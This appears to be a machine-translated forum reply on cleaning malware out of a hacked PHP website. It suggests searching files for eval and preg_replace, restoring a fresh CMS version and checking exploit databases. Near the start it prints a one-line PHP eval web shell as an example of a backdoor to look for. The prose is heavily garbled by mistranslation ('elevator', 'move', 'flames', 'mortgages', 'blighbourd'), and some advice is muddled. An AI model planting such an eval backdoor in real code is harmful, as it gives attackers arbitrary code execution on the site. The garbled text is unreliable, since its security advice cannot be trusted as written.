N
In principle, of course, you found the right thing to find, a large percentage of the hacker elevator uses this way of encryption and launch. But big is not 100%.Maybe a simple line. if(isset($_GET['A'])) eval($_GET['A']);Well, this line is just a convenient way of entering a hacker and performing an arbitrary code.Given that there's a change of ...htaccess for cellphones is probably an automatic worm that sends viruses to mobile devices. And once the files change often, one of your files is infected.You can put a full copy of the site on your car and just search the word eval, but some CMSs use it. In addition, the encrypted code is often triggered by a preg_replace.In 90 per cent of cases, the worm code is functional and/or encrypted. And it's hard to read the blighbourd, so you can just run a php of files to try to find these pieces.You can try to target the date of the change of files, the really good hackers have to re-establish it after the recording, but I'm sure they don't seem to be very excited about it.But all the above-mentioned doesn't provide any guarantee that you will find all the hacker's mortgages and clean them up. And all the more, there's no guarantee that you'll be infected again, since you've done it once. Good, if you have some standard move without change at the php of the files, you just need to make an archive of the current site, a database archive, and then reset the move and reschedule the file from the current site, making sure there's no eval and preg_replace.But, and that doesn't give any guarantees, since you've been hit, it means there's vulnerability in your web site and the worm will find them again. You can just go on the Internet to your version of the move and the flames to find him in the google on the word exploited. See, like, https://www.exploit-db.com/ The safest thing is to keep the base from the current site, search the dam for the word 'eval' (some moves are possible through the contents of the database) and put on the site the most recent version of the drive and the necessary flames while watching the infu about their safety online. Well, we're going to start a new version instead of planting the previous base.And there's a possibility that you've been climbing through your neighbors on the hostel (although for automatic worms it's very low). If the hostess has security problems, it can be determined with some experience, trying to get to the catalogues of other sites.